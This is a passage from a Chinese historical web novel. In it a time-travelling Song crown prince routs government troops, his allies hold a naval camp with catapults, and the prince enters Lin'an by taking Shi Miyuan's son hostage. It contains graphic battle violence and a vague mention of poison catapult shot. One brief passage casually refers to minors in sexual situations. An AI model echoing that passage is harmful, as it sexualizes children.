不过相比没种的夏殿帅,这大营内还剩三千余兵丁没有逃跑,仍在与刘克庄等人苦战。
这却要
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多亏了那剩下的十余位指挥使和正副将。只见这群指挥使聚拢在一起,慢慢的理清了形势。身边更是整肃了千余兵丁,此时与刘克庄等人打的有来有回。
刘克庄三人见此,知道再也占不到半分便宜,正要撤退。却见远处一队骑兵赶来。
这队骑兵正是宋宇得忠顺军,宋宇借着火光,很容易分辨出交战双方人马。所以也不待两方搭话。宋宇直接命令杨妙珍与孟珙,一左一右,各率一队骑兵,迂回杀入营内。
骑兵到底是这个时代的大杀器。只见这数百重骑兵冲进营内,立马便将那十几个指挥使好不容易聚拢起来的千余部队冲了个鸟雀散。
宋宇则领着剩下众人,来到了刘克庄三人跟前,跳下马,一拱手笑着对刘克庄等人说道“:刘兄弟,华兄弟,韩兄弟,让你们受苦了。”
刘克庄看着面前仿佛从天而降的宋宇,是又惊又喜,眼里不自觉流出了两行清泪,发觉自己失态,又赶忙用袖子擦掉眼角泪水说道“:殿下,兄弟知道,您吉人天相,定然会来与我们会和。”语毕,和华岳两人同时跪倒在了宋宇面前。
宋宇看着面前激动的三人,赶忙吩咐身边众人将他们扶起“:幸亏当初听了兄弟之言,去那京湖走上一遭,不然,哪能知道史弥远那许多秘密?更不可能结识身后这许多英雄豪杰,还有那金国的三阿哥等辈了。更加不会知道,蒙古人的用心多么险恶。那史弥远是如何的愚蠢。兄弟,这一遭,真踏马的值了......”
刘克庄听了个云里雾里,忙问宋宇“;殿下,可否详细讲讲?”
宋宇点了点头,粗略的将这次荆襄之行讲给了刘克庄。
刘克庄听宋宇讲完这次路途上的经历,心里越加开心,暗道:太子殿下这次回来,更加有明君之风了。想我大宋朝,除了太祖太宗,就再没出过亲赴战场的帝王了。
而太子殿下这一遭,内有权臣祸害,外有强蛮袭扰。比之太祖太宗当年,可是难上了不少。但太子殿下不但回来了,还结识了一群新的兄弟。像这样的人,若是做得一代帝王,必会大有作为。
“;殿下,京湖发生了什么,且先降了面前这群人再说。”
宋宇听了刘克庄之言,疑惑地问道“:兄弟,这群人都是史弥远眼皮底下的亲兵,岂肯轻易降了我这势小力孤的丧家太子?”
刘克庄莞尔一笑“;殿下,若是平时,这群人定然不会投降。但现在这个情况,他们不投降,便只有等死的分了。”
语毕,刘克庄对着身后被骑兵围在中间厮杀的禁军们喊道“:大宋太子殿下在此,识相的,速速弃了兵器,跪地投降,若是冥顽不灵,乱刀砍为肉泥。.”喊完,还招呼周围众人一起喊。
别说,这招还真管用,只听厮杀声越来越小,少时便安静下来。整个营内便只听得到营帐燃烧时的‘噼啪’声。
第一百三十三回 血与火共舞 惨烈攻守战
刘克庄见此,转身对着宋宇一拱手“:殿下,上前说两句吧。”
宋宇看到眼前这神奇的一幕,第一次感觉到人心的奇妙。方才还打的你死我活的两帮人,却因为自己太子这个名号,再加上求生的欲望,便轻松劝降了。暗自赞叹,刘克庄对人性的把控,还真不是盖的。
宋宇赞许的对着刘克庄点了点头,随即踩着被血液染的鲜红的泥土地,在孟英等人的陪同下,穿过己方骑兵,来到了降兵们面前
只见面前乌泱泱一大片,少说上千着甲步军,壮观的跪满了一地。宋宇清了清嗓子,吩咐身后抗旗的程保,使劲儿摆弄了几下那面龙旗,这才大声说道“:我乃大宋太子赵竑,当朝贼相史弥远,阴谋废立,囚禁了我父皇,本太子特率正义之师,杀回临安,救出父皇。现在摆在你等面前的,乃是两条路,一则,继续助纣为虐,被本太子杀之,二则弃暗投明,到时救出我父皇,人人都是大宋的再造功臣。如何选择,由你们自己做主。“
宋宇话音刚落,就听下边议论声风起。不光降兵们,就连湖州那些渔民百姓组成的队伍也在议论,若是打耳静听,就会听到
“:我的天,听到没?太子殿下说史弥远造返了,还囚禁了赵大官家!”
“:看到了吧,我早就跟你们说过,史弥远权力太大了,咱大宋朝就没出过这么大权力的丞相,早晚他会做出篡国之举,自己当皇帝的。”
“:哎呀,史弥远兵权在手,太子这次怕是会落败啊。”
“:你个孬种,太子殿下都不怕,你怕个鸟,真给咱襄阳人丢脸!”
“:就是,太子殿下把咱当兄弟看,为了这,咱们就得和他史弥远拼命。”
“:太子殿下收留了咱们北方流民几十万,为了这,谁要是敢和太子殿下作对,咱忠顺军就打死他个龟孙的!”
“:听见没,太子说史相造返了,咱们现在是在助纣为虐。”
“:咱一个当兵的,哪管得了那些个,人当官的让打谁,咱就打谁,造不造返的,跟咱没关系。”
“:就是,出来的时候上官就说是剿匪,也没说是要造返啊。”
“:那现在咱们知道了,怎么办?”
“:废话,当然是保命了...”
他们在底下私自议论,宋宇也不想打断他们,毕竟宋宇若想要他们真心归附,必须得给他们时间考虑。
就是在这个当口,彭义斌等人骑马赶了过来。宋宇打眼看去,就见彭义斌身后一匹马上,还驼着已经昏死过去的夏镇。
彭义斌来到近前,挤开人群,径直凑到了宋宇跟前,嬉皮笑脸的对着宋宇说道“:太子兄弟,这厮真是个无用草包,俺都未曾过手瘾,这厮便气喘嘘嘘了。几招之下,便被俺用弯刀打的毫无招架之力,俺直接一个头槌,给他撞昏**过去,太子兄弟,你不会怪俺吧。”
宋宇听完俩人比试得结果,哈哈大笑“:傻兄弟,怪你作甚?你啊,可是成了咱大宋第一勇士了,以后本殿下巴结你都来不及呢!”
俩人聊天的当口,面前这群降兵,看到了夏镇这幅惨样子,全都停止了议论,将目光集中到了那十几个指挥使身上。
那十几个指挥使眼见无数目光投来,心照不宣,知道这群兵都想投降,但又不知道自己几人的心思,这才没有开口。
想到此,十几个指挥使互相对视了一眼,又看了面前马背上昏死过去的夏镇,齐齐磕头道“;我等叩见太子殿下,我等愿助太子殿下杀回临安,救出当今圣上!”
宋宇见他们归顺,一拍大腿“:好,等的就是你们这句话。“
言罢,又招呼周围众人道”:众兄弟听令,撤回湖州,全军休整,静待时机,杀回临安救出我父皇。”
宋宇那边旗开得胜,赶到湖州大败夏镇万余人。
另一边临安东侧。此时已经是建康分道后的第五日凌晨。经过半夜的混战,余阶已经拿下了澉浦水营,此时正站在水营寨门上,看着东边初升的旭日发呆。
寨门之外,就是昨夜赶到的临安御前马军。不过马匹只有两千余,至于为什么这么少,恐怕只能问有关部门了。
其余攻城器械还算完备,神臂**约摸五千张。剩下的大多是拿着马枪,却没有马匹的徒步骑兵了。其实也正是因为骑兵太少,使得盛章得了救援命令后,没有第一时间赶上救援。
等到了澉浦水营,余阶正好也将澉浦水营拿下。把个盛章气的是咬牙切齿,直扇自己大嘴巴子,却也是无力回天了。
不过事已至此,盛章碍于天黑,并没有趁夜攻营,反倒是将澉浦水营围住,打算等到天亮再一股作气夺回澉浦水营。
至于为什么这么安排,和盛章此次带领了五万兵马有很大关系。不光如此,盛章在救援失利后,赶忙给史弥远回了一封书信,要求史弥远再派兵马前来助战。从这也能看出盛章的心态,兵马是越多越好,就像韩信说的,多多益善。
此时天已大亮,余阶在盛章等待援兵浪费的这段时间里,已经做了很多事。比如派船封锁港口,从船上拆下许多霹雳炮,运下来许多炮石加强防守等。
总之一句话,这澉浦水营经过半夜忙碌,若论坚固,在大宋排不上名次。但若论炮石犀利,只怕大宋襄阳城的战船防御体系也不过如此了。
到了临近晌午,盛章等待的援军终于到了。只见盛章骑着战马,威风不可一世的晃悠到了水营城门前,对着城门楼上的余阶喊道“:余伴读,多日不见,怎得沦落成了叛贼?”言罢得意的哈哈大笑。
余阶看这盛章嘴欠,不说自己前些时日被俘,是如何的低三下四苟且偷生,竟然还有脸在此炫耀自己站对了队伍,跟对了领导。
立马满脸鄙视的说道“:盛指挥使,太子殿下让我转告你,说你吃惯了屎,反倒吃不习惯人饭了。”
盛章眼见余阶死到临头还敢反驳自己,脸上红白变换的飞快。索性也不在扯皮,正色对着余阶说道“:太子殿下可在?盛某想要见见他。”
余阶见这盛章到了此时还想给自己下套
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,哈哈大笑“:盛章,就凭你的狗眼,也配见太子殿下?”
“:你...好,姓余的,算你狠,你要知道,本指挥使此次来,可是带了天兵十万,本想念在曾经相识一场的份上,劝太子殿下投降,也好放尔等一马,却不知你这厮不识抬举。那就别怪本指挥使以众击寡,以多欺少了。”言罢,一勒马头,恶狠狠用余光扫了一眼余阶,随即转身回马躲回了帅帐内。
不多时便听盛章阵中战鼓擂动,一直整装待发的禁军们手抗巨木,呐喊着开始冲击澉浦水营寨门。
寨门上余阶见贼兵一涌而来,轻蔑地笑了笑,一举手中宝剑,大喝一声“:贼人攻城,炮石还击。”
话音一落,就见余阶身旁的抗旗官,将一面象征着大宋皇室的龙旗左右摇摆的虎虎生风。
周围站在城墙上的士兵得了命令,立马开始操作霹雳炮还击。一时间只见漫天飞蝗般的炮石,砸向了那些手拿马枪,本应骑马,却只能徒步攻城,手中连个盾牌都没的,穿着单薄的骑兵们。直接将这群攻城士兵砸得惨叫连天,断肢血肉横飞。
细看这些海船上的霹雳炮炮石,比之当初江船上的更大,种类更多。其中可详细分为四类:一类是巨型石块石条,砸出去,或拍或滚动伤敌。
一类是石灰炮石,打出去,烟尘漫天,专门烧伤攻城人双目。
一类是热油炮石,打出去火种四溅,若是密集攻击,很快便会形成火海,即使烧不死敌人,也能有效阻挡敌人的进攻势头。
而最后一种,也是最绝的。这种炮石很是特殊,史书上很少描绘。究其原因,主要是因为其残忍。
这种炮石是世界上最早的毒气弹。由**,鹤顶红等当时最为剧烈的**制成。一旦打出去,落地碎裂。便会激起一片毒雾。
周围敌军只要吸进去,轻则上吐下泻,丧失战斗能力。重则当场昏迷,甚至是毒毙。
总结起来,这些炮石无外乎砸死,烧死,毒死。再看下边那些攻城的骑兵,早已被火海,烟尘包围。或是浑身着火四处乱窜,或是**呕吐,实在惨不忍睹。一时整个澉浦水营外边成了人间地狱。
“:太可怕了,快跑吧。这简直是地狱。”
“:妈呀,往前跑就是个死,兄弟们快往后撤啊!”
在求助声,呐喊声的交织中,盛章的第一梯队攻城马军,死伤惨重,活下来的也都心生恐惧,开始掉头往营内逃去。
盛章正悠闲地坐在帅椅上,静等着攻城部队好消息传来。却听帐外呼喊声,炮石声大作。
惊恐之中,慌忙冲出帐外观看。就见澉浦水营外,仿佛流星群坠落,烟尘弥漫,火光四起。
而自己所派遣的那队骑兵已经死伤大半,开始溃退,更是有一个被烧的黑漆麻乌,将军打扮之人当先跑到近前跪地哭诉道“:盛指挥使,这澉浦水营,也不知从哪弄来好些霹雳炮,小将刚带人冲上去,那炮石便不要钱似的砸了过来,小将麾下两千余人,尚未摸到城墙边便死伤大半啊。”
第一百三十四回 不能再等了 火烧屁股了
“:看来本指挥使,小看了这穷酸书生了。”
盛章看着眼前烟尘火海,痴痴地自言自语道。
“;我的天,王兄弟,这些霹雳炮真是威猛。一波炮石砸过去,对面两千余贼众悉数砸为齑粉。”
余阶见这些霹雳炮威力惊人,也是大喜过望,开心得像个小孩子,对着王坚说道。
王坚哈哈一笑“:若是在水上,早教这帮孙子沉入水底喂了鱼虾,好在是陆上,他们真是捡了诺大的便宜。”
那边余阶两人初战得胜,这边盛章脸色已经铁青。只见他对着面前那些指挥使和正副将大声呵斥道“:继续攻城,本指挥使就不信,这小小的水营,能藏下多少兵,多少炮石?“
还真别说,盛章这句话很有道理,人海战术,是目前唯一看似行之有效的方法了。
但这也得看用在哪,就比如说目前这个情况,余阶等人海船百余艘,更兼占领了三座水营,以至于彻底将钱塘江出海口给封了。
这种情况下,余阶的炮石一时半会,想断是断不了了,除非他盛章有一支舰队,强大到足以击败余阶这百十艘大宋最先进的战舰。从而在水路切断余阶等人的退路与相互之间得补给,如此,或许余阶等人真的坚持不了多久也说不定。
可这盛章,明显的战略规划门外汉,他到现在都还一厢情愿的认为自己兵多,自己占优势,只要使用车轮战术,一波波的,轮番不断的攻城,迟早会将余阶那点人耗没了。
这种想法,就像当年的蒙古人攻打襄阳城似的,也是一厢情愿的认为,大宋所有城市一包围便能饿投降了,即使不投降,只要耗下去,也能把城里的人耗没。
殊不知,他们这种思想,十分的愚蠢。相比之下,大宋襄阳和余阶的水营,全都有水路供应未断,只要这条水路供应不切断,战争就会演变成持久战,拼的是两方人马,到底谁能坚持到最后一刻。
余阶那边双方兵力悬殊,依旧打成了持久攻守战,暂且不说谁先扛不住。
目光看向临安相府内,史弥远今天特别的开心,只听他对着满屋子的党羽说到“;诸位,今天史某非常开心,这一则嘛,我大宋新君明日登基,在座的诸位与本相都立了那拥立之功,想来下半辈子衣食无忧啦。这第二件事嘛,那胡闹太子赵竑,竟然没死在襄阳,还偷偷从海路潜到了澉浦水营。本相得知,立马差盛指挥使,亲率十万天兵前往缉拿,想来,不多时便会有好消息回报了。“
厅内群臣听了史弥远讲述,无不是一脸的恭敬,只听他们小声议论道“:看到没,史相就是圣人,跟在他屁股后边,闻个屁都能立地成仙!”
“:是啊是啊,好在当年下官弃暗投明,跟了史相,想那韩侂胄,小日子过的舒坦得紧,却非得费力不讨好的北伐,**那老些人不说,还把金国大爷得罪了个死,那家伙,最后还不是被砸死在玉津园了。”
“:韩侂胄这个故事告诉咱们,享福要紧,收复失地这档子事,喊几句口号,糊弄糊弄老百姓算了,谁踏马当真谁死得快。”
“:就是,你看史相,权力放在第一位,赚钱放在第二位,婆娘放在第三位,国事直接当放屁。至于什么收复失地得空话套话,喊两嗓子算了,维持好和金国得关系,才是我大宋得根本,人家这活的,那叫有水平,那叫一个明白,真是我辈的人生楷模啊!”
也不知史弥远听没听清楚下边这群人议论什么。其实估计他自己都不知道,身为大宋的丞相,他给全天下的百姓和文武百官做了一个很好的榜样。
如果史弥远这辈子能够寿终正寝,那他这一辈子,将会向天下人证明一件事,大宋朝廷是真的没救了,就算蒙古人再怎么名声狼藉,灭宋,那也是顺应天道人心之事。
“:诸位,明日新皇大庆殿登基典礼,诸位切莫迟到啊!”史弥远得意的笑着说道。
史弥远那边自认大局已定,另一面湖州城内。宋宇在湖州败了夏镇,可谓彻底将史弥远在湖州的部队歼灭了。
此时正听日间派出去的斥候们一一回报消息“:殿下,听临安附近百姓说,临安周边最近有十数万兵***开去。”
“:殿下,临安周边皇榜尽出,说是圣上禅让,新皇明日登基。”
“:殿下,临安周边处处设防,皇榜尽出,名言殿下造返,让周边郡县小心防范,一旦发现您的行踪,立即报给临安,重赏。”
听完了这些消息,刘克庄皱眉对着宋宇说道“:殿下,幸亏您当初在湖州经营。若不然,我等现在连个去处都没了。不过,只要那新帝登基,今后我等即使跑到天涯海角,他史弥远也会追杀过去。就目下看来史弥远已经等不及,打着圣上名义,将我等打成了叛逆,我等想要招募四方兵马勤王,怕是不切实际了。就斥候所报,余兄弟那边定然已经依计行事,史弥远也已经按照当初余兄弟设想的那样,尽起临安兵马,围剿余兄弟去了。我等若是再不动手,只怕余兄弟坚持不住,我等满盘皆输。”
宋宇听完刘克庄的分析,陷入了沉思:襄阳招募的六百囚犯兵因为没有马,分给了余阶,自己手下只有忠顺军五百,渔民一千余,还有刚才降伏得禁军一千余,所以自己手下现在总共两千余兵马。
算算史弥远一方,临安估摸还有殿前司五万余兵马,其他两军估计只能多于这个数字。单就两方兵马对比,真是差了不止一个档次。
如果自己现在动手,估计到了临安,就要以一敌万了,这种仗,能打赢吗?
可目前除了去救,还真就没有别的路可选了。招募义兵不可能了,史弥远挟天子以令诸侯,先入为主了。
就连保持观望,或是撤退回襄阳都是不可能了。因为历史上的理宗,明天就要登基了。
只要理宗一登基,自己等人立马就成了乱臣贼子,天下人人皆可诛之。更
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遑论,余阶已经按照约定,东面四处举火,吸引了大批人马,自己若是现在胆怯了,那...
想到此,宋宇一拍桌子,噌的一声站了起来“:诸位,火烧屁股了,明天那假帝登基,我等皆会沦为叛逆,此时不出手,更待何时出手?吩咐众位兄弟,饱食一顿,咱们趁夜杀奔临安夺位。”
临安距湖州,不过百里之远。宋宇一众人半夜出发,待到黎明时分,已经赶至临安城不远处。
只听刘克庄问道“:殿下,咱们兵寡势小,这临安城,门多兵众,我等此计若失败了,只怕反倒成了他人的口中之食,囊中之物啊!”
宋宇遥望临安城那雄伟的城墙,与余航门那高耸的城门楼子,心里百感交集:终于杀回来了,可自己手下不过两千兵马,虽然自己得兄弟个个勇猛善战,可远远看着这临安雄伟的城墙,心里还真有点害怕啊。
不过既然来到了这里,哪有退却之理?如此想着,宋宇心一横“:诸位,既然都来了,还管他别的作甚?且随本殿下摸上前去,赚开城门,到时直奔皇宫,杀了史弥远那老贼。”
言罢,宋宇率领众人来到了北城门,余航门之外。
此时黎明已经到来,临安城门上,守夜的兵卒们也刚刚从美梦中醒来,只见他们伸了个懒腰,习惯性的砸吧嘴说道“:昨晚那几个婆娘真够劲,直把咱们伺候得舒坦啊,可惜还要守夜,不然咱兄弟几个就睡在那几个婆娘被窝里了。”
“;嘘...小声点吧,今天新皇登基,你还敢在此胡言乱语,莫不是活腻了?”旁边另一个守城兵丁嘘声劝道。
“:守城将官可在?夏殿帅凯旋而归,还不速速打开城门?”守城兵丁正有一搭没一搭的聊天,却听城门下有人喊话。
只见那几个守城的兵丁赶忙探出头去,见城下这群人全是大宋盔甲衣着,也没人怀疑,就听他们大声吆喝道“:今日新皇登基,相爷有命,不论何人进城,皆要上官亲自验明真伪。诸位还需稍待,小的们这就给您去找上官,待查验无误后,再放诸位进城。”
城下喊话那人见说,立马怒了,对着城上那群人骂道“;瞎了你们的狗眼,你们且看看,夏殿帅亲自在此,还能有假?”
“;夏殿帅息怒,这都是相爷规定,小的们也是听令而行啊!”城门上那守兵明显被吓到了,颤抖着答道。
城下这群人见城上不买账,也没了脾气,只好催促道“:那还不快快去请。”
约莫一炷香后,城门上才连呼带骂的走上来一个小矮子,这人不是别人,正是那史弥远的宝贝儿子,史施德。
只听这史施德边走边说道“:这天杀的夏镇,早不回晚不回,偏偏这个当口回来,害得小爷我还得亲自给你来开门,你也真算是长了脸了。”骂骂咧咧的档口,史施德已经来到了城门上,一脸满不在乎的从垛口伸出头去,立马小声嘀咕道“:真**高啊!”
第一百三十五回 老冤家重逢 谢道清助力
语毕,强睁了睁眼,向着城下这群人看去。就见夏镇和一个扎髯大汉共骑一马,此时都是抬头仰望自己。
史施德见此,笑骂道“:夏镇,想不到出去这一遭,长能耐了,不往回驼几个婆娘,反倒驼回个大胡子,你啊,真有种,小爷在这里恭喜你了。”
“;史公子,快快打开城门,让本将进去吧。”夏镇见史施德调笑自己,央求道。
史施德见夏镇少有的没顶撞自己,却是泛起了嘀咕;诶?这夏镇,得胜归来,照说应该趾高气昂才对,为何却如此有礼貌?
想我二人平素一直都不太对付啊,这厮很少喊我史公子,都是直呼小爷名讳啊?更不用说这得胜归来,本该好好得瑟的当口了。
想到此,史施德心里突然有种不好的预感,赶忙仔细的打量起了这群人。却见夏镇身后之**多都低头看马,心里更是觉得蹊跷,便对着那些低头看马之人说道“;夏殿帅身后众人,可否抬起头来,让小爷看看?”
城下这群人听了,都是心道不好。其实这群人不是别人,正是假冒夏镇名义的宋宇等人。
早在史施德一露头得时候,宋宇就暗骂了声冤家路窄。万般没想到,这金贵的史家公子,竟能被史弥远安排到城门防守。
只听宋宇身旁刘克庄说道“;殿下,看来哪里出了纰漏,这史弥远久久得不到夏镇消息,是不是起疑了?这才安排自家宝贝儿子把守此门?”
“:玛德,千算万算,没想到史弥远会把自己儿子安排在临安北门。看来这史弥远能独揽朝权这么久,确实有些本事啊。”宋宇听了刘克庄所言,咒骂道。
刘克庄见宋宇也是没了主意,干脆说道“;殿下,实在不行咱就强攻,凭着咱手下这些兵马,和缴获的那些攻城器械,打下这北门还是不难的。”
宋宇见刘克庄想要鱼死网破,手心都攥出了汗:倒霉啊,都算计到了这一步,却要因为一个史施德满盘皆属,真不甘心呐。若是现再动手,打下来倒是不成问题,可是会立马激起周围史弥远兵马来援,到时自己等人被数万兵马围住,外无援军,又无险可守,那不是坐以待毙吗?不行,这赔本的买卖不能做,得赶紧想想办法...
其实史弥远真不知道夏镇被俘了,更不是有意安排史施德来守北门。之所以会如此巧合,全都因为临安城但凡和史弥远走的近的禁军将领,要么跟着夏镇去了湖州,要么被派去围剿余阶了。
与史弥远关系不好或者没关系的禁军将领,他史弥远又怕再出个韩令辉第二。不敢用,只能将所有放心的身边人全部派出去守卫临安个个要道了。史弥远得想法很简单,只要过了今日,新皇登基,到时候天下都是自己说了算。
正在宋宇犹豫不决,城上史施德疑虑丛生得再次开口了“:那几个将领,本公子让你们抬起头来,没听到?”
哪知史施德话音刚落,一柄**却突兀的比在了他的脖间,史施德只觉脖间一凉,心中大骇,立马哆哆嗦嗦地说道“:好汉饶命,只要不杀我,让**什么都行。”
史施德身后之人小兵打扮,此时听史施德求饶,便将帽盔向上一抬,露出了相貌。原来是宋宇那结义妹子王涣君“:你这相貌可憎的丑八怪,还不快吩咐兵将,给我家太子哥哥开门?”只听王焕君厉声骂道。
史施德现在小命被捏在人家手心里,哪还敢说个不字,慌忙吩咐左右兵丁,下去开城门。
自己则顺势跪在地上,带着哭腔说道“:姑奶奶饶命,小人只不过是个守门小官,上有老下有小,您若一剑杀了我,我那全家老小都得饿死啊。”
王涣君听了史施德求饶话语,哈哈大笑“:你当本姑娘不知道你是谁?”言罢,狠狠得踢了史施德一脚,给他指了指自己身旁另一个小兵打扮之人。
只见那人将帽盔摘下,露出了一头长发。那跪在地上的史施德见到此人得第一时间,惊得下巴都要掉下来了“:是你这黑婆娘?你是怎么混进来的?”
原来面前的不是别人,正是谢道清。要想弄明白怎么回事,得从湖州宋宇等人吃了午饭后说起。
昨天宋宇吃了午饭,便主动找到了谢道清,劝她暂时留在湖州。等一切尘埃落定后在回临安。
出乎宋宇预料,这次谢道清爽快的答应了宋宇。不过这却是谢道清故意麻痹宋宇的***。
直到宋宇决定攻打临安,吩咐众人准备时,谢道清和王涣君俩人便从孟英那得知了宋宇的详细计划,随之交待孟英几句。便偷了两匹马,溜出了湖州城。奔着临安赶去。由于两人马不停蹄,比之宋宇马步混合便快了不少。
在半夜前便赶到了临安城外。依照谢道清的计划,把守临安长山门的那个将官,乃是自己的同姓叔伯兄弟。
所以两人也不废话,直接便赶去长山门。一番波折之后,总算见到了那谢家叔伯兄弟。
到底是一家人,那人也不废话,直接便将谢道清俩人偷偷放了进来,经过一番商讨,还将她俩安排在了军中。
谢道清俩人有了兵装,在城内走动方便了许多。更是在叔伯兄弟的帮助下,偷偷摸到了北门余航门潜伏,静等宋宇等人前来叩门。反倒是宋宇,还傻傻得以为,谢道清俩人乖乖在湖州等自己呢。
说到这,不得不讲下宋宇为什么会走余航门。想这临安城池南北长,东西窄,是个细长方形。
若要进临安城,宋宇等人从北面来,有两个城门选择,一个是余航门,一个是长山门。
不过长山门相比于余航门,有宽大的护城河围护,更加易守难攻。除了这两个门,其余众门要么是远,绕过去容易被怀疑,要么是水门,紧靠西湖,没船只能望湖兴叹。所以其余门宋宇肯定不会考虑了。
回归正题,宋宇等人本以为大战在所难免,却不料等了不多时,城门自己缓
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缓打开了。
而那史施德也被人用**架着脖子,跪在了大门内,迎接自己到来。宋宇见此,抽了抽鼻子,吩咐众人走到了近前。
这才发现是谢道清俩人所为,惊喜之余,宋宇赶忙跳下了马背,对着谢道清单膝跪拜道“:多谢清儿三翻四次搭救,赵竑感激不尽。”
面前的谢道清见宋宇行此大礼,小跑两步,边扶宋宇边说到“:殿下,你真是折煞清儿了,清儿为你做这些,都是自愿的,你以后莫要谢我了。”
一旁得刘克庄等人也赶忙劝道“:是啊殿下,现在可不是儿女情长的时候,且先解决了面前这档子事才是啊。”
宋宇见说,站起身来,盯着谢道清看了会。不得不说,这是宋宇穿越而来后,第一次不害臊的仔细看谢道清的脸,直把谢道清看得有些脸红,不好意思得提醒宋宇道“:殿下,你又走神了。”
宋宇腼腆的笑了笑“:我这次真没走神,我是想在这场生死大战发生前,好好记住你的相貌,清儿,这辈子能认识你真好。想我赵竑何德何能,几辈子修来的福分,能与你相识。以前一直想把你安置在安全的地方,看来是我太不近人情了,你一个姑娘家,明知我现在是个落魄丧家之犬,还一路相随不离不弃,甚至不惜混进城来帮我,就凭这个,我赵竑在此发誓,假如这次大难不死,定会和你相守终生。若是今日身死,来生当牛做马也要报答你的恩情。”
一旁的孟英听到宋宇对谢道清表白,立马开心的跳了起来“:清儿姐,我就知道殿下当初在襄阳看的是你,怎的,我没说错吧?”
一句话,把谢道清说的面红耳赤,低头摆弄起了胸前秀发。不过又好像想起了什么,突然抬起了头,对着宋宇说道“:殿下,今日总算抓到了这史施德,也算报了当初你我二人之仇。”言罢,谢道清踢了一脚面前得史施德。
宋宇看到面前这一幕,指着史施德讥讽道“:看到没,你再有钱,人姑娘也看不上你,你硬要生米煮成熟饭,也只会平白无故得伤人心,得罪人而已。”
宋宇说完这句,不尽然得想道:要是自己在后世,恐怕说这些就是大言不惭了。
自己在后世那个工作,可是看尽了人性百态啊。灯红酒绿之下,可以说是畸形的病态社会缩影。
有父子共宿一妻的,有未成年少女被包养的,有未成年少女和未成年少男一起玩的,有一个女人和十数个男人同时玩的,有十数个女人和十数个男人同时玩的,甚至有小学三四年级就挺个大肚子,玩的好开心好开心的。就是比那岛国的片还开眼。
想到这,宋宇禁不住的直犯恶心:玛德,那个世界不光挤,道德观念还踏马低下。
想那些男人,光天化日当着那许多未成年人的面,就敢公然在大街上,在电车内,在公共汽车上嘴对嘴互相摩擦,互抵唾液,热吻,抚摸,这...是真开放啊。
第一百三十六回 再次被识破 宁宗的现状
再看面前的史施德,此时已经吓得五体颤抖,忙不迭的磕头对宋宇求饶“:太子殿下,当初那档子事,都是史弥远那老贼硬要让小人生米煮成熟饭啊。冤有头,债有主,要报仇您俩找他去!”
“:父债子还,你先还了,他史弥远再还不迟。”宋宇眼见史施德没骨头到亲爹都卖,嗤笑着说道。
史施德见宋宇不放过自己,立马吓得尿了裤子。趴在地上,抱着宋宇的小腿肚子哭诉道“:太子殿下啊,我愿意跟他断绝父子关系,从今以后,您就是我爹,你要儿做什么,儿都去做,只要您留下儿这条狗命就成。”
宋宇和周边众人见史弥远的儿子如此没骨头,随之爆发出一阵哄堂大笑,其间还伴随着嘲讽“:呦呵!想不到史相家得公子,很是晓得事理吗,为了咱大宋,宁愿跟奸贼划清界限,真是大义灭亲啊!”
宋宇听了周围人的嘲笑,微微躬身,将抱着自己大腿,哭的一把鼻涕一把泪的史施德那张麻子脸托起,温柔的说道“:儿呀,走,带爹去宰了你那亲爹去。”
话到此处,宋宇眼神陡然冷冽,抬起头,对着杨妙珍孟珙两人说道“:杨姑娘,孟兄弟,在城内,骑兵移动不便,你二人还是率领忠顺军骑兵,留在这北城门,好生把守,也算是我等的一条退路。”
杨妙珍两人赶紧领喏,忙又吩咐麾下将官,将马军屯驻在了北城门内外。
宋宇转过头,吩咐王焕君与谢道清,将史施德看管好,随即下令麾下剩余兵马列队向城内走去。
一进这临安城,只见路上处处张灯结彩,就像是要过年了似的,不过与过年气氛不搭调的是,整条御街上,一个百姓都没有,全都是手拿兵刃的禁军来回巡逻。他们五人一伍,十人一队,往来频繁。
“:殿下,看来史弥远把所有百姓都堵在家里面了,兵丁全都安排在了临安城内巡逻,就是要保证登基仪式顺利进行啊。”只听刘克庄提醒道。
宋宇正要答话,却见一队巡逻兵丁走来,当先一个身着盔甲之人询问道“:可有相爷手令?若无手令,你等兵马且在城外驻扎,待登基大典结束后才可入城。
宋宇见此,并不以为意,吩咐身后王焕君俩人将史施德带到了跟前,指着他说道“:瞎了你们的狗眼,史大公子在此,有要事向相爷禀报,识相的,还不快快将路让出来?“
那小将显然识得史施德那张长相特殊的脸,虽然见史施德面色有些颓丧,感到很是诧异,但对方也没求救,这小将也懒得多问。
立马对着史施德恭敬的拱手答道“:相爷正在皇城操持登基大典的准备工作,几位尽可前去。只是这手下的兵丁需要在此止步。“言罢,挡在了宋宇跟前,大有不留下兵马,不能再向前半步得架势。
宋宇见对方是个死脑筋,厉声呵斥道“:狗东西,连史大公子得面子都不给。你知不知道,这些兵丁,乃是相爷下令,史大公子亲自挑选的御前护军,专门保护新君登基用的,你若在横加阻拦,小心相爷要了你的狗头。”
那小将被宋宇这么一吓,赶忙道歉,边道歉,边让开了去路。放宋宇等人入内。
宋宇见此,轻蔑的笑了笑,这才招呼众人穿过满大街巡逻得禁卫,继续向皇城走去。
边走宋宇边小声对着刘克庄说道“:看到没,人再多,也都是木头桩子,略施小计,万马丛中穿梭自如啊!“
刘克庄擦了擦额头的汗水,对着宋宇说道“:太子您的胆子也是够大的。兄弟现在走在这千军万马之中,都止不住的出冷汗,殿下您却依旧嬉笑怒骂,兄弟真是佩服之至啊!“
宋宇听了刘克庄夸赞得话语,砸吧砸吧嘴“:胆大也算是优点?“
“:临危不乱,乃是上将人选,殿下,您现在已经能做得一方统帅了。而且若是没有胆量,还不是会跟这史嵩之之辈相同,您三句话不到,他就屎尿横流了?到最后除了会互相拆台,只怕屁事都做不了。”
就这样,宋宇一行人在史施德这张麻子脸得庇佑下,招摇过市,一路领着这千余士兵,来到了皇城北门,和宁门外。
照理说,平常这和宁门很少开放。属于宫娥太监们出城采买之门,也就是后门。
平常大臣们上朝,都得绕道南门才可。另外值得一提的是,这临安是个长条形,这宫城,是在临安的最南端,也就是说不管百姓还是朝臣居所,全都在城北。这就使得上朝的大臣,全都得兜个很大的圈子,绕道南门才能上朝。
但今日是登基大典,所以北门也一并开放。只不过多了许多人马把守,看起来戒备森严的样子。
现在这北门上的守将,十分巧,正是杨皇后的堂弟杨次山。之所以史弥远派遣他来这,一则这杨次山是杨皇后的堂弟,也算是皇亲国戚,这和宁门后,便是宫内宫娥太监居所。
再往里,就是皇妃贵人们的住处,让皇亲国戚来守此门,也算是十分合理。
